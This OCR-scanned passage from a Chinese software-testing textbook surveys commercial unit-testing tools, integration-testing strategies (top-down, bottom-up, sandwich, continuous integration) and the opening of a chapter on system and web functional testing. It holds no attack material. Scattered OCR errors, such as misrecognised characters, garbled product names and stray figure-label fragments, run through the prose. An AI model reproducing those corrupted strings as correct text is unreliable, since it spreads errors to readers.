C++BoundsChecker Suite、Panorama C++ 等 。 另 外 ,相对 开源 工具 ,商业 性 工具 在 功能 、 易 月 
性 ,稳定 和 技术 支持 等 方面 具有 一 定 的 优势 。 单 元 测试 工具 ,除了 代码 扫描 工具 (如 Parasoft 
C++) 之 外 ,还 有 其 他 一 些 工具 ,如 : 

(1) 内 存 资源 泄漏 检查 工具 ,如 CompuWare BounceChecker、IBM Rational PurifyPlus 等 。 

(2) 代码 覆盖 率 检查 工具 ,如 CompuWare TrueCoverage、IBM Rational PureCoverage、 
TeleLogic Logiscope 等 。 

(3) 代码 性 能 检查 工具 ,如 Logiscope 和 Macabe 等 。 

针对 Java 语言 的 商业 工具 ,代表 产品 是 DevPartner Studio for Java、 Parasoft Jtest、 
Sitraka JProbe Suite 和 PR QA ' 本 等。 国内 较 著 名 的 商业 化 单元 测试 工具 , 则 有 Visual Unit 
(http://www. kailesoft. cn/) 是 可 视 化 单元 测试 工具 ,支持 语句 、 条件 、 分 支 及 路 径 覆 盖 的 测 
试 ,使 用 简单 ,基本 不 需要 编写 测试 代码 。VU 还 增强 了 调试 器 功能 (如 自由 后 退 、 用 例 切换 )， 
提高 了 调试 的 效率 。 

1. DevPartner Studio 专业 版 

具有 很 强 的 功能 ,如 代码 审查 \ 性 能 分 析 、 内 存 分 析 、 安 全 扫描 、 错 误 发 现 和 诊断 、 集 成 报 


告 , 系 统 比 较 、 代 码 覆 盖 率 分 析 等 。 支 持 目前 主流 的 平台 和 技术 ,如 Visual Studio 2008、Visual 
Studio Team System 2008、Windows Server 2008、NET Framework 3. 5、Windows Presentation 
Foundation (WPF) Language Integrated Query (LINQ) 和 ASP. NET AJAX Extensions。 

其 中 ,Jcheck 是 功能 强大 的 、 图 形 化 的 Java 程序 的 线程 和 事件 分 析 工 具 ; DBPartner 是 数 
据 库 开发 及 测试 工具 ,DBPartner Debugger 可 进行 交互 式 的 存储 过 程 开 发 .调试 和 优化 ; 而 
BoundsChecker 是 实时 错误 检测 工具 ,定位 程序 在 运行 时 期 发 生 的 各 种 错误 ,包括 指针 变量 的 
错误 操作 、 使 用 未 初始 化 的 内 存 和 内 存 /资源 泄漏 错误 。 

2. Parasoft C++Test 


C++Test 能 够 自动 测试 C/C++ 代码 构造 ( 白 盒 测试 )、 测 试 代码 的 功能 性 ( 黑 盒 测试 ) 和 维 
护 代码 的 完整 性 (回归 测试 ) ,其 单元 级 的 测试 覆盖 率 可 以 达到 100%。C++Test 具有 以 下 
特性 。 

(1) 自动 建立 类 /函数 的 测试 驱动 程序 和 桩 调用 ,并 允许 定制 这 些 桩 函数 的 返回 值 或 加 入 
自己 的 桩 函数 。 

(2) 单 键 执行 白 盒 测试 的 所 有 步骤 。 

(3) 自动 建立 和 执行 类 /函数 的 测试 用 例 。 

(4) 提供 快速 加 入 执行 说 明和 功能 性 测试 的 框架 。 

(5) 执行 自动 回归 测试 和 组 件 测 试 (COMD) 。 

(6) 高 度 可 定制 的 ,例如 ,可 以 改变 测试 用 例 的 生成 参数 ,过 滤 一 定 的 文件 .类 或 方法 ,在 
任何 层次 上 进行 测试 。 

(7) 直接 安装 在 DevStudio 环境 中 ,支持 极限 编程 (extreme Programming,XP) 模 式 下 的 
代码 测试 。 

3. Parasoft Jtest 

Jtest 通过 自动 生成 和 执行 全 面 测 试 类 代码 及 其 分 支 的 测试 用 例 , 从 而 较 彻 底 地 检查 被 测 
类 的 结构 。Jtest 使 用 一 个 符号 化 的 虚拟 机 执行 类 ,并 搜寻 未 捕获 的 运行 异常 。 对 于 检测 到 的 
每 个 异常 情况 ,Jtest 报告 一 个 错误 ,并 提供 导致 错误 的 栈 轨迹 和 调用 序列 。 主 要 特性 如 下 。 

(1) 检验 超过 350 个 来 自 Java 专家 的 开发 规范 ,自动 纠正 违反 超过 160 个 编码 规范 的 错 
误 , 并 允许 用 户 通过 图 形 方式 或 自动 创建 方式 来 自 定义 编码 规范 。 

(2) 通过 简单 的 操作 ,自动 实现 代码 基本 错误 的 预防 ,包括 单元 测试 和 代码 规范 的 检查 。 

(3) 生成 并 执行 JUnit 单元 测试 用 例 ,对 代码 进行 即时 检查 。 

(4) 提供 了 进行 黑 盒 测试 .模型 测试 和 系统 测试 的 快速 途径 。 

(5) 确认 并 阻止 代码 中 不 可 捕获 的 异常 .函数 错误 、 内 存 汇 漏 、 性 能 问题 \ 安 全 弱点 的 
问题 。 

(6) 监视 测试 的 覆盖 范围 ,自动 执行 回归 测试 。 

(7) 支持 大 型 团队 开发 中 测试 设置 和 测试 文件 的 共享 ,支持 DbC 编码 规范 。 

(8) 实现 和 IBM Websphere Studio /Eclipse IDE 的 安全 集成 。 

4. Parasoft . TEST 

专 为 .NET 开发 而 推出 的 单元 测试 工具 ,可 用 于 任何 Microsoft . NET 框架 的 语言 ,如 
C# ,VB.NET 和 Managed C++ 。 

(1) 使 用 超过 200 条 的 工业 标准 代码 规则 对 所 写 代码 自动 执行 静态 分 析 , 这 些 规 则 有 助 


于 将 . NET 全 面 的 编程 技术 和 和 领域 知识 应 用 到 代码 中 ,防止 错误 的 出 现 。 

(2) 自动 测试 代码 构造 与 功能 。. TEST 智能 特性 ,能 提取 代码 、 审 查 代码 ,生成 测试 用 例 ， 
自动 完成 单元 测试 .. TEST 产生 的 单元 测试 可 以 由 用 户 自 定义 。 

(3) 通过 自动 衰减 测试 自动 地 维持 代码 完整 性 。 

5. IBM Rational PurifyPlus 

IBM Ration PurifyPlus 包含 以 下 三 种 工具 。 

(1) PureCoverage 提供 代码 覆盖 率 分 析 , 找 出 未 经 测试 的 程序 代码 ,度量 在 所 有 测试 用 例 
中 多 少 代码 运行 了 ,多 少 代码 没有 运行 。 

(2) Quantify 用 来 进行 性 能 分 析 ,识别 应 用 程序 性 能 瓶颈 。 

(3) Purify 用 来 进行 内 存 分 析 , 寻 找 应 用 程序 的 内 存 泄漏 和 错误 的 内 存 使 用 ,这 些 有 可 能 
导致 应 用 程序 崩溃 。 

6. JProbe Suite 

JProbe Suite 包括 4 个 独立 工具 : Memory Debugger 和 Profiler 被 称 作 程序 性 能 工具 ,而 
Threadalyzer 和 Coverage 被 称 作 程序 校正 工具 。 

(1) Memory Debugger 可 发 现 因 不 足 参数 管理 和 对 象 的 过 度 分 配 而 引起 的 内 存 泄 漏 。 

(2) Profiler 通过 统计 程序 各 部 分 的 运行 时 间 帮 助 找 出 程序 的 性 能 瓶颈 。 

(3) Threadalyzer 通过 找 出 程序 中 的 死 锁 和 空 值 以 检验 线程 的 正确 性 。 

(4) Coverage 用 来 报告 程序 的 测试 覆盖 率 和 未 测试 覆盖 。 

7. PRQA 单元 测试 工具 

PRQA 提供 的 代码 测试 工具 有 QA.C,QA， C++ 和 QA .本 (Chttp://www. pr-qa. com/ 
programmingresearch/ PRODUCTS. html) ,包括 进行 编码 规则 检查 和 静态 分 析 , 找 出 过 于 复 
杂 、 不 便于 移植 和 维护 等 各 种 代码 质量 问题 。PRQA 公司 提供 编码 规则 检查 工具 包 , 包 括 
HIGH * INTEGRITY C++,QA，。 MISRA 和 QA "JSF 十 十 。PRQA 的 静态 测试 工具 可 与 
Vector 公司 的 动态 测试 工具 VectorCAST 很 好 地 集成 。 而 且 , 它 还 能 够 和 Headway 的 
Structure101 很 好 地 集成 ,使 后 者 具有 复杂 CVC++ 代 码 的 结构 分 析 以 及 质量 度量 能 力 。 


5.7 系统 集成 的 模式 与 方法 


在 软件 开发 中 ,经 常会 遇 到 这 样 的 情况 ,单元 测试 时 能 确认 每 个 模块 都 能 单独 工作 ,但 这 
些 模块 集成 在 一 起 之 后 会 出 现 有 些 模块 不 能 正常 工作 的 问题 。 这 主要 是 因为 模块 相互 调用 时 
接口 会 引入 新 的 问题 ,包括 接口 参数 不 匹配 ,传递 错 误 数据 ,全 局 数据 结构 出 现 错误 等 。 这 时 ， 
需要 进行 集成 测试 (Integration Test) 。 集 成 测试 是 将 已 分 别 通过 测试 的 单元 按 设 计 要 求 集成 
起 来 再 进行 的 测试 ,以 检查 这 些 单元 之 间 的 接口 是 否 存在 问题 ,包括 接口 参数 的 一 致 性 引用 、 
业务 流程 端 到 端的 正确 性 等 。 

集成 测试 既 要 求 参 与 的 人 熟悉 单元 的 内 部 细节 ,又 要 求 能 够 从 足够 高 的 层次 上 观察 整个 
系统 。 一 般 由 有 经 验 的 测试 人 员 和 软件 开发 者 共同 完成 集成 测试 的 计划 和 执行 。 集 成 测试 是 
白 盒 测 试 和 黑 盒 测 试 相 结合 的 典型 应 用 场景 。 在 自 底 向 上 集成 的 早期 , 白 盒 测试 占 较 大 的 比 
例 , 随 着 集成 测试 的 规模 越 来 越 大 , 白 盒 测试 所 占 的 比重 在 逐步 减少 ,渐渐 地 黑 盒 测试 占据 主 
导 地 位 。 


5.7.1 集成 测试 的 模式 


在 开始 集成 测试 时 ,首先 需要 选择 集成 模式 。 集 成 模式 是 软件 集成 测试 中 的 策略 体现 ,其 
重要 性 是 明显 的 ,直接 关系 到 测试 的 效率 、 结 果 等 ,一 般 要 根据 具体 的 系统 来 决定 采用 哪 种 模 
式 。 集 成 测试 基本 可 以 概括 为 以 下 两 种 。 

(1) 非 渐 增 式 测试 模式 : 先 分 别 测试 每 个 模块 ,再 把 所 有 模块 按 设计 要 求 放 在 一 起 结合 
成 所 要 的 程序 ,如 大 棒 模 式 。 

(2) 渐 增 式 测 试 模式 : 把 下 一 个 要 测试 的 模块 同 已 经 测试 好 的 模块 结合 起 来 进行 测试 ， 
测试 是 在 模块 一 个 一 个 的 扩展 下 进行 ,其 测试 的 范围 逐步 增 大 。 

在 非 增 量 式 集成 中 容易 出 现 混乱 ,因为 测试 时 可 能 发 现 一 大 堆 错误 ,为 每 个 错误 定位 和 纠 
正 非 常 困难 ,并 且 在 改正 一 个 错误 的 同时 又 可 能 引入 新 的 错误 ,新 旧 错 误 混杂 ,更 难 断 定 出 错 
的 原因 和 位 置 。 与 之 相反 的 是 增 量 式 集成 模式 ,程序 一 段 一 段 地 扩展 ,每 次 测试 的 接口 非常 有 
限 , 错 误 易 于 定位 和 纠正 ,界面 的 测试 也 可 做 到 完全 彻底 。 在 两 种 模式 中 , 增 量 式 集成 模式 有 
一 定 的 优势 ,但 它们 有 各 自 的 优 缺 点 。 

(1) 渐 增 式 测试 模式 需要 编写 的 软件 较 多 ,工作 量 较 大 ,而 非 渐 增 式 测试 开销 小 。 

(2) 浙 增 式 测试 模式 发 现 模块 间接 口 错误 早 ; 而 非 渐 增 式 测试 模式 晚 。 

(3) 非 渐 增 式 测试 模式 发 现 错误 , 较 难 诊断 ; 而 使 用 渐 增 式 测试 模式 ,如果 发 生 错 误 则 往 
往 和 最 近 加 进来 的 那个 模块 有 关 。 

(4) 渐 增 式 测试 模式 测试 更 彻底 。 

(5) 渐 增 式 测试 模式 需要 较 多 的 机 器 时 间 。 

(6) 使 用 非 渐 增 式 测试 模式 ,可 以 并 行 测试 。 

在 实际 工作 中 ,一 般 采 用 渐 增 式 测试 模式 ,具体 的 实践 有 自 顶 向 下 、 自 底 向 上 、 混 合 策略 等 。 


5.7.2 自 项 向 下 和 自 底 向 上 集成 方法 


1. 自 顶 向 下 法 


自 顶 向 下 法 (Top-down Integration) ,从 主 控 模块 (“ 主 程序 ”) 开 始 , 沿 着 软件 的 控制 层次 
向 下 移动 ,从 而 逐渐 把 各 个 模块 结合 起 来 。 在 集 
成 过 程 中 ,可 以 使 用 深度 优先 的 策略 或 宽度 优先 be 


的 策略 ,如 图 5-13 所 示 , 其 具体 步骤 如 下 。 Wm] Be] ru) 
Q) 对 主 控 模 块 进行 测试 ,测试 时 用 柱 程序 代 1 加 
替 所 有 直接 附属 于 主 控 模 块 的 模块 。 Ms ][ me ]! S7_1 
(2) 根据 选 定 的 结合 策略 (深度 优先 或 宽度 优 
先 ) ,每 次 用 一 个 实际 模块 代替 一 个 桩 程序 (新 结 深度 优先 :M1 一 M2 一 M5 一 M8 一 M6 一 M3 一 S7 一 S4 
合 进来 的 模块 往往 又 需要 新 的 桩 程序 )。 宽度 优先 :MI 一 M2 一 M3 一 S4 一 M5 一 M6 一 SI 一 M8 
(3) 在 结合 下 一 个 模块 的 同时 进行 测试 。 图 5-13 自 顶 向 下 集成 方法 示意 图 


(4) 为 了 保证 加 入 模块 没有 引进 新 的 错误 ,可 
能 需要 进行 回归 测试 ( 即 全 部 或 部 分 地 重复 以 前 做 过 的 测试 )。 

从 第 (2) 步 开始 不 断 地 重复 进行 上 述 过 程 ,直至 完成 。 自 顶 向 下 法 的 主要 优点 是 : 不 需要 
测试 驱动 程序 ,能 够 在 测试 阶段 的 早期 实现 并 验证 系统 的 主要 功能 ,而 且 能 在 早期 发 现 上 层 模 
块 的 接口 错误 。 其 缺点 是 : 需要 桩 程序 ,可 能 遇 到 与 此 相 联系 的 测试 困难 ,低层 关键 模块 中 的 


错误 发 现 较 晚 ,而 且 用 这 种 方法 在 早期 不 能 充分 展开 人 力 。 

2. 自 底 向 上 法 

自 底 向 上 (Bottom-up Integration) 测 试 从 “原子 ”模块 ( 即 在 软件 结构 最 底层 的 模块 ) 开 始 
集成 以 进行 测试 ,如 图 5-14 所 示 ,具体 策略 如 下 。 

(1) 把 底层 模块 组 合成 实现 某 个 特定 的 软件 子 功能 的 族 。 

(2) 写 一 个 驱动 程序 (用 于 测试 的 控制 程序 ) ,协调 测试 数据 的 输入 和 输出 。 

(3) 对 由 模块 组 成 的 子 功能 族 进 行 测试 。 

(4) 去 掉 驱 动 程序 , 沿 软件 结构 自 下 向 上 移动 ,把 子 功能 族 组 合 起 来 形成 更 大 的 子 功能 族 
(Cluster) 。 

从 第 (2) 步 开始 不 断 地 重复 进行 上 述 过 程 ,直至 完成 。 


TI Th 


图 5-14 自 底 向 上 集成 方法 示意 图 
自 底 向 上 法 的 优 缺 点 与 自 顶 向 下 法 刚好 相反 。 
s.7.3 混合 策略 


在 具体 测试 中 ,可 采用 混合 策略 , 即 结合 上 述 的 两 种 方法 一 一 自 顶 向 下 法 和 自 底 向 上 法 来 
逐步 实施 集成 测试 。 

(1) 改进 的 自 顶 向 下 法 : 基本 使 用 “ 自 顶 向 下 ”法 ,但 在 测试 早期 ,使 用 “ 自 底 向 上 ”法 测试 
少数 的 关键 模块 。 

(2) 混合 法 : 对 软件 结构 中 较 上 层 ,使 用 的 是 “ 自 顶 向 下 ”法 ; 对 软件 结构 中 较 下 层 ,使 | 
的 是 “ 自 底 向 上 ”法 ,两 者 相 结 合 ,如 图 5-15 所 示 。 


5-15 混合 策略 集成 示意 图 


这 种 混合 策略 也 有 一 些 不 同 的 组 合 方式 ,如 三 明治 集成 方法 (Sandwich Integration) , 基 
本 思想 是 一 致 的 , 自 两 头 向 中 间 集 成 ,只 是 具体 实现 有 些 差异 ,如 图 5-16 所 示 。 
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5-16 三 明治 集成 方法 示意 图 


采用 三 明治 方法 的 优点 是 : 它 将 自 顶 向 下 和 自 底 向 上 的 集成 方法 有 机 地 结合 起 来 ,不 需 
要 写 桩 程序 ,因为 在 测试 初 自 底 向 上 集成 已 经 验证 了 底层 模块 的 正确 性 。 采 用 这 种 方法 的 主 
要 缺点 是 : 在 真正 集成 之 前 每 一 个 独立 的 模块 没有 完全 测试 过 。 


5.7.4 持续 集成 


通常 系统 集成 都 会 采用 持续 集成 的 策略 ,软件 开发 中 各 个 模块 不 是 同时 完成 ,根据 进度 将 
完成 的 模块 尽 可 能 早 地 进行 集成 ,有 助 于 尽早 发 现 Bug, 避 免 集 成 中 大 量 Bug 涌现 。 同 时 自 底 
向 上 集成 时 ,先期 完成 的 模块 将 是 后 期 模块 的 桩 程序 ,而 自 顶 向 下 集成 时 ,先期 完成 的 模块 将 
是 后 期 模块 的 驱动 程序 ,从 而 使 后 期 模块 的 单元 测试 和 集成 测试 出 现 了 部 分 的 交叉 ,不仅 节省 
了 测试 代码 的 编写 ,也 有 利于 提高 工作 效率 。 

在 没有 采用 持续 集成 策略 的 开发 中 ,开发 人 员 经常 需 要 集中 开会 来 分 析 软 件 究竟 在 什么 
地 方 出 了 错 。 因 为 某 个 程序 员 在 写 自 己 这 个 模块 代码 时 ,可 能 会 影响 其 他 模块 的 代码 ,造成 与 
已 有 程序 的 变量 冲突 、 接 口 错 误 , 结 果 导 致 被 影响 的 人 还 不 知道 发 生 了 什么 ,Bug 就 出 现 了 。 
这 种 Bug 是 最 难 查 的 ,因为 问题 不 是 出 在 某 一 个 人 的 领域 里 ,而 是 出 在 两 个 人 的 交流 上 面 。 
随 着 时 间 的 推移 ,问题 会 逐渐 恶化 。 通 常 ,在 集成 阶段 出 现 的 Bug 早 在 几 周 甚至 几 个 月 之 前 
就 已 经 存在 了 。 结 果 , 开 发 者 需要 在 集成 阶段 耗费 大 量 的 时 间 和 精力 来 寻找 这 些 Bug 的 
根源 。 

如 果 使 用 持续 集成 ,这 样 的 Bug 绝 大 多 数 都 可 以 在 引入 的 第 一 天 就 被 发 现 。 而且, 由 于 
一 天 之 中 发 生变 动 的 部 分 并 不 多 ,所 以 可 以 很 快 找到 出 错 的 位 置 。 如 果 找 不 到 Bug 究竟 在 哪 
里 ,也 可 以 不 把 这 些 代码 集成 到 产品 中 去 。 所 以 ,持续 集成 可 以 减少 集成 阶段 消灭 Bug 所 消 
耗 的 时 间 , 从 而 最 终 提高 软件 开发 的 质量 与 效率 。 

为 了 做 到 持续 集成 测试 ,需要 构建 良好 的 集成 测试 环境 。 例 如 ,业界 通常 采用 Maven、 
Ant 在 Jenkins 中 完成 持续 构建 和 集成 ,然后 在 此 基础 上 自动 触发 自动 化 测试 ,完成 基本 的 功 
能 和 接口 测试 ,一 般 称 为 构建 包 的 验证 (Build Verification Test, BVT)。 这 种 BVT 可 以 看 作 
是 非 严 格 意义 上 的 集成 测试 ,因为 如 果 集 成 有 问题 .会 在 版 本 构建 中 出 现 问 题 ,会 被 BVT 发 
现 。 基 于 良好 的 基础 设施 ,就 可 以 做 到 持续 构建 ,持续 集成 测试 。 


小 结 


单元 测试 的 对 象 是 在 程序 系统 中 的 最 小 单元 一 一 模块 或 组 件 上 ,其 目标 不 仅 是 测试 代码 
的 功能 性 ,还 需 确保 代码 在 结构 上 可 靠 且 健全 。 单 元 测试 也 可 以 采用 静态 测试 和 动态 测试 。 
静态 测试 主要 体现 在 两 个 方面 ,一 方面 通过 工具 进行 自动 分 析 , 另 一 方面 可 以 通过 人 工 评审 ， 
最 常用 的 方法 是 互 为 评审 (Peer Review) ,对 一 些 关键 代码 或 新 人 写 的 代码 ,主要 采用 走 查 
(Walk Through) 和 会 议 审查 (Inspection) 等 评审 方式 。 另 一 方面 ,可 以 借助 静态 测试 工具 来 
完成 对 所 有 代码 的 扫描 和 分 析 , 输 出 测试 报告 ,这 种 方式 的 应 用 越 来 越 多 。 

动态 技术 主要 采用 基于 代码 的 逻辑 覆盖 方法 ,从 程序 的 内 部 结构 出 发 设计 测试 用 例 , 检 查 
程序 模块 或 组 件 已 实现 的 功能 与 定义 的 功能 是 否 一 致 ,并 结合 基于 输入 域 的 测试 方法 ,组 合 测 
试 方法 等 ,完成 对 调用 参数 .变量 取 值 等 测试 ,最 终 完 成 控制 流 和 数据 流 的 分 析 与 测试 。 由 于 
模块 规模 小 、 功 能 单一 、 邮 辑 简单 ,测试 人 员 有 可 能 通过 模块 说 明 书 和 源 程序 ,清楚 地 了 解 该 模 
块 的 1/0 条 件 和 模块 的 逻辑 结构 ,采用 结构 测试 ( 白 盒 法 ) 的 用 例 , 尽 可 能 达到 彻底 测试 ,使 之 
对 任何 合理 和 不 合理 的 输入 都 能 鉴别 和 响应 。 

本 章 还 介绍 了 单元 测试 中 常用 的 测试 工具 ,包括 开源 工具 和 商业 工具 。 重 点 介绍 了 单元 
测试 框架 JUnit 代码 静态 分 析 工 具 CheckStyle/PMD 与 FindBug 代码 复杂 度 检 测 工具 
SourceMonitor, 已 经 介绍 如 何 用 JUnit 十 Ant 构建 自动 测试 等 。 通 过 使 用 这 些 不 同方 面 的 单 
元 测试 工具 ,不 仅 更 容易 实施 单元 测试 ,不 断 复 用 测试 脚本 ,减少 单元 测试 的 工作 量 ,而 且 借助 
静态 分 析 、 复 杂 度 衡量 等 ,可 以 更 好 地 清楚 缺陷 ,提供 代码 的 质量 。 

单元 测试 和 集成 测试 紧密 相关 ,几乎 同步 进行 ,而 且 目 前 业界 都 提倡 持续 集成 持续 测试 。 
在 持续 测试 中 ,更 关注 集成 测试 的 基础 设施 ,从 而 能 够 比较 容易 地 完成 持续 构建 和 持续 集成 
测试 。 


1. 为 什么 要 进行 单元 测试 ? 单元 测试 的 主要 任务 有 哪些 ? 

2. 单元 测试 的 对 象 不 可 能 是 一 组 函数 或 多 个 程序 的 组 合 ,为 什么 ? 

3. 单元 测试 一 般 由 开发 人 员 完 成 ,并 采用 白 盒 测试 技术 ,这 样 会 获得 更 高 的 测试 效率 和 
更 彻底 的 测试 , 谈 谈 其 中 的 道理 。 

4. 代码 评审 有 哪些 方法 ? 哪 一 种 方法 比较 有 效 ? 为 什么 ? 

5， 如 何 做 好 单元 测试 的 各 个 阶段 的 管理 工作 ? 

6. 动手 写 一 个 类 的 JUnit 单元 测试 方法 ,并 让 其 运行 成 功 ,体验 JUnit 的 使 用 方法 。 

7. CheckStyle/PMD 与 FindBugs 各 自 的 主要 功能 是 什么 ? 试 着 在 某 个 JavaEE 项 目 中 
使 用 FindBugs 进行 检测 ,并 分 析 测 试 结果 。 

8. SourceMonitor 的 主要 作用 是 什么 ? 试 着 对 一 个 已 有 的 项 目 用 SourceMonitor 进行 
分 析 。 

9. 进一步 了 解 持续 集成 和 持续 测试 的 知识 ,设法 自己 搭建 这 样 的 集成 环境 。 


系统 测试 


经 过 集成 测试 之 后 ,分 散 开发 的 模块 被 集成 起 来 ,构成 相对 完整 的 
体系 ,其 中 各 模块 间接 口 存 在 的 种 种 问题 都 已 基本 消除 ,测试 开始 进入 
到 系统 测试 (System Test) 阶 段 。 

系统 测试 是 将 经 过 集成 测试 过 后 的 软件 ,作为 计算 机 系统 的 一 个 部 
分 ,与 计算 机 硬件 . 某 些 支持 软件 .数据 和 平台 等 系统 元 素 结合 起 来 ,在 
真实 运行 环境 下 对 计算 机 系统 进行 一 系列 的 严格 有 效 的 测试 来 发 现 软 
件 的 潜在 问题 ,保证 系统 的 正常 运行 。 系 统 测试 一 般 由 若干 个 不 同 测试 
类 型 组 成 ,目的 是 充分 运行 系统 ,验证 整个 系统 是 否 满足 功能 和 非 功 能 
性 的 质量 需求 ,如 ， 

(1) 是 否 都 能 正常 工作 并 完成 所 赋予 的 任务 ? 

(2) 在 大 量 用 户 使 用 的 情况 下 ,能 否 经 得 住 考验 ? 

(3) 系统 出 错 了 ,能 否 很 快 恢复 过 来 或 者 将 故障 转移 出 去 ? 

(4) 是 否 能 长 期 地 ,稳定 地 运行 下 去 ? 

在 系统 测试 中 ,除了 系统 级 的 功能 测试 (虽然 之 前 已 完成 了 大 部 分 
单元 级 的 功能 测试 ) 之 外 ,还 有 非 功 能 性 测试 ,甚至 可 以 说 , 非 功能 性 测 
试 是 系统 测试 中 更 为 关键 的 任务 。 压 力 测试 .容量 测试 和 性 能 测试 的 测 
试 目的 虽然 有 所 不 同 , 但 其 手段 和 方法 在 一 定 程 度 上 比较 相似 ,都 是 采 
用 负载 测试 技术 。 为 了 模拟 用 户 的 操作 和 监控 系统 性 能 ,特别 是 针对 基 
于 网 络 的 应 用 软件 ( 非 单机 应 用 软件 ) ,只 有 借助 于 测试 工具 才能 完成 。 
通常 ,会 使 用 特定 的 测试 工具 来 模拟 超常 的 数据 量 或 其 他 各 种 负载 , 监 
测 系统 的 各 项 性 能 指标 ,如 线程 .CPU 内 存 等 使 用 情况 .响应 时 间 、 数 
据 传输 量 等 。 


6.1 系统 级 功能 测试 


功能 测试 可 以 在 单元 测试 中 实施 ,也 可 以 在 集成 测试 .系统 测试 中 
进行 ,软件 功能 是 最 基本 的 ,需要 在 各 个 层次 保证 功能 执行 的 正确 性 。 
在 单元 功能 测试 中 ,其 目的 是 保证 所 测试 的 每 个 独立 模块 的 功能 是 正确 
的 ,主要 是 从 输入 条 件 和 输出 结果 来 进行 判断 是 否 满足 程序 的 设计 要 
求 。 在 系统 集成 过 程 之 中 或 之 后 所 进行 的 系统 功能 测试 ,不 仅 要 考虑 模 
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块 之 间 的 相互 作用 ,而且 要 考虑 系统 的 应 用 环境 ,其 衡量 标准 是 实现 产品 规格 说 明 书 上 所 要 求 
的 功能 ,特别 需要 模拟 用 户 完成 从 头 到 尾 (End-to-End, 端 到 端 ) 的 业务 测试 ,确保 系统 可 以 完 
成 事先 设计 的 功能 ,满足 用 户 的 实际 业务 需求 。 


6.1.1 功能 测试 要 求 


功能 测试 比较 容易 理解 ,主要 是 根据 产品 规格 说 明 书 ,来 检验 被 测试 的 系统 (System 
under test,SUT) 是 否 满足 各 方面 功能 的 使 用 要 求 。 功 能 测试 也 包括 部 分 的 系统 安全 性 测试 ， 
如 用 户 登 录 、 用 户 权 限 控制 等 功能 的 测试 ,而 且 功 能 测试 需要 针对 不 同 的 环境 进行 测试 ,一 方 
面 可 以 看 作 是 系统 环境 的 兼容 性 测试 , 另 一 方面 可 以 看 作 不 同 配置 下 的 功能 测试 。 

对 于 功能 测试 ,针对 不 同 的 应 用 系统 ,其 测试 内 容 的 差异 很 大 ,但 都 可 以 归 为 界面 ,数据 、 
操作 、 逻 辑 .接口 等 几 个 方面 ,例如 ， 

(1) 程序 安装 .启动 正常 ,有 相应 的 提示 框 、 错 误 提示 等 。 

(2) 每 项 功能 符合 实际 要 求 。 

(3) 系统 的 界面 清晰 、 美 观 。 

(4) 菜单 按钮 操作 正常 灵活 ,能 处 理 一 些 异常 操作 。 

(5) 能 接受 正确 的 数据 输入 ,对 异常 数据 的 输入 可 以 进行 提示 、 容 错 处 理 等 。 

(6) 数据 的 输出 结果 准确 ,格式 清晰 ,可 以 保存 和 读 取 。 

(7) 功能 逻辑 清楚 ,符合 使 用 者 习惯 。 

(8) 系统 的 各 种 状态 按照 业务 流程 而 变化 ,并 保持 稳定 。 

(9) 支持 各 种 应 用 的 环境 。 

(10) 能 配合 多 种 硬件 周边 设备 。 

(11) 软件 升级 后 ,能 继续 支持 旧版 本 的 数据 。 

(12) 与 外 部 应 用 系统 的 接口 有 效 。 

在 这 里 ,以 Web 功能 测试 为 例 ,介绍 功能 测试 可 能 涉及 的 范围 。Web 元 素 主要 包括 超级 
链接 .图片 文字 .HTML ,脚本 语言 ,表单 等 。Web 页 面 的 功能 测试 就 要 针对 这 些 元 素 展开 。 
虽然 页 面 也 包含 Flash、ActiveX 控件 ,插件 (Plugin) 等 元 素 ,这 些 元 素 实际 上 就 是 小 的 应 用 程 
序 , 可 以 作为 一 般 应 用 程序 来 测试 ,只 不 过 要 针对 浏览 器 的 不 同 设置 ,进行 相应 的 测试 。 浏 览 
器 设置 项 很 多 ,特别 是 安全 性 选项 的 设置 ,对 Web 功能 测试 影响 比较 大 ,要 注意 这 方面 的 测 
试 。 在 Web 功能 测试 中 ,一 般 也 会 完成 其 用 户 界面 测试 ,例如 ,页 面 是 否 和 设计 保持 一 致 ,页 
面 元 素 的 尺寸 大 小 、 边 距 、 间 距 布局 是 否 合理 和 美观 ,文字 是 否 有 错误 拼写 等 。 

1. 页 面 链 接 测 试 需要 验证 的 问题 

(1) 该 页 面 是 否 存在 ,如 页 面 不 可 显示 信息 , 则 视 为 页 面 链接 无 效 。 引 起 页 面 无 效 的 因素 
有 很 多 种 ,主要 有 页 面 文件 在 Web Server 上 不 存在 、 链 接 的 地 址 不 正确 等 。 

(2) 该 页 面 是 否 跳 转 到 所 规定 的 页 面 .主要 是 验证 页 面 正 确 性 ,这 种 测试 也 应 该 在 Web 
功能 测试 部 分 被 考虑 。 

2. Web 图 形 测试 

Web 图 形 是 一 种 常见 的 显示 信息 的 手段 ,如 GIF 图片 、Flash 等 。 很 多 时 候 ,图 形 是 和 文 
本 混合 在 一 起 使 用 的 ,因此 ,在 Web 图 形 测试 的 时 候 ,不 仅 要 确认 文本 是 否 正确 ,同时 需要 确 
认 图 片 的 内 容 和 显示 ,如 文字 是 否 正 确 地 环绕 图 片 ? 图 片 的 文字 提示 是 否 正 确 ? 图 片 所 指向 


的 链接 是 否 正确 ? 不 同 分 辩 率 下 的 图 形 显示 是 否 正 确 ? 

3. 表单 测试 

从 设计 的 角度 来 看 ,表单 是 在 访问 者 和 服务 器 之 间 建 立 了 一 个 对 话 ,允许 使 用 文本 框 . 单 
选 按钮 和 选择 菜单 来 获取 信息 ,而 不 是 用 文本 、 图 片 来 发 送信 息 。 通 常情 况 下 ,要 处 理 从 站 点 
访问 者 发 来 的 响应 ( 即 表单 结果 ) ,需要 使 用 某 种 运行 在 Web 服务 器 端的 脚本 (如 PHP、JSP)， 
同时 在 提交 访问 者 输入 表单 的 信息 之 前 也 可 能 需要 用 到 浏览 器 运行 在 客户 端的 脚本 (通常 是 
使 用 JavaScript)。 在 进行 表单 测试 的 时 候 ,需要 保证 应 用 程序 能 正确 处 理 这 些 表单 信息 ,并 
且 后 台 的 程序 能 够 正确 解释 和 使 用 这 些 信息 。 举 个 例子 ,用 户 可 以 通过 表单 提交 来 实现 在 线 
注册 , 当 注 册 完毕 以 后 ,应 该 从 Web 服务 器 上 返回 注册 成 功 的 消息 。 


6.1.2 Web 服务 器 的 功能 测试 


作为 Web 服务 器 (如 著名 的 开源 Apache httpd 服务 器 http://httpd. apache. org/) ,首先 
要 支持 HTTP/1. 1 协议 ,包括 HTTP 认证 和 SSL(Secure Socket Layer, 安全套 接 层 ) 、TLS 
(Transport Layer Security, 传 输 层 安全 协议 ) 等 加 密 , 这 是 Web 服务 器 最 核心 的 功能 。 其 次 ， 
